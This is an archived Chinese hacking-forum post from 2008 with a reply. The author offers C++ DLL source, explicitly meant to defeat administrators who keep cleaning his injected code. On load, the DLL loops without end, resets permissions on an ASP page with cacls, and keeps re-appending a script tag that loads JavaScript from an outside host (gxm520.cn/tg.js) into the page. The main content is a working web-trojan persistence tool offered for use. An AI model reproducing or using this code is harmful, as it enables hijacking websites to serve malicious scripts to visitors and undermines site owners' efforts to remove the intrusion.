IT家园's Archiver

西布伦 发表于 2008-6-11 19:27

制作简单监控文件挂马的程序

制作简单监控文件挂马的程序



本人挂马语句经常被管理员KILL,但是自己也有管理员权限,保留的很好,既然被他发现了,怎么说我们也要强行挂上1天到2天,让他去重做系统去。下面是一个简单的监控某个文件,给予他访问的权限。然后在检查代码中有无我们事先插入的代码,没的话就插入,有的话,等等在

  代码如下:

#include "stdafx.h"
#include "process.h"
#include "windows.h"
#include "string.h"
#include "iostream.h"
#include "fstream.h"
char path2[256]="E:\\gxm\\default.asp";
char guama[256]="\n<script language=javascript src='http://www.gxm520.cn/tg.js'></script>";
BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                                         )
{
        switch ( ul_reason_for_call )
        {
                case DLL_PROCESS_ATTACH:
                {
                        while(1)
        {
ifstream ifs(path2);
char FileContent[5000];
memset(FileContent,0,5000);//初始化FileContent
ifs.read(FileContent,5000);//读取数据
ifs.close();//关闭ifstream对像
if(strstr(FileContent,guama)==0)
{
    char path1[256]="E:\\gxm\\default.asp ";      //比变量path2多了一个空格
        char mingling[256]="cacls ";
    strcat(mingling,path1);
    char ps[25]="/T /E /C /G everyone:F";
        strcat(mingling,ps);
    char mingling1[256]="cacls ";
        strcat(mingling1,path1);
        char pa[30]="/T /E /C /G administrator:F";
    strcat(mingling1,pa);
        system(mingling);
    system(mingling1);
        SetFileAttributes(path2,GetFileAttributes(path1) & ~FILE_ATTRIBUTE_READONLY);
    ofstream outfile;
        outfile.open(path2,ios::app);
        if (!outfile)
        {
                exit(0);
        }
outfile<<guama;
outfile.close();
}
Sleep(9000);
        }
                }
                default:
                        return TRUE;
        }         
        return TRUE;
}   


  简单的监控文件程序的代码而已,我也不知道别人是怎么写的,反正自己是这样想出来一点一点的写点,希望对我们一样菜的人有点帮助。

qhmzxylzq 发表于 2008-6-11 23:41

:P 支持

页: [1]

Powered by Discuz! Archiver 7.2  © 2001-2009 Comsenz Inc.